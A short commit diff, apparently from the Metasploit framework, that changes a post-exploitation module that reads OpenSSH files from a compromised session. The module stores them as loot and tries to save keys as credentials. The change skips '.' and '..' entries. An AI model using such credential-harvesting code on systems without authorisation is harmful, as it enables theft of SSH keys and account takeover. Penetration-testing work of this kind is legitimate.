Don't try to download '.' or '..' as files
parent
0ad548a777
commit
e3ee0d7913
|
@ -61,11 +61,12 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
files.each do |file|
|
||||
print_good("Downloading #{path}#{sep}#{file} -> #{file}")
|
||||
next if [".", ".."].include?(file)
|
||||
data = read_file("#{path}#{sep}#{file}")
|
||||
file = file.split(sep).last
|
||||
loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
|
||||
"ssh_#{file}", "OpenSSH #{file} File")
|
||||
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
|
||||
|
||||
# If the key is encrypted, this will fail and it won't be stored as a
|
||||
# cred. That's ok because we can't really use encrypted keys anyway.
|
||||
|
|
Loading…
Reference in New Issue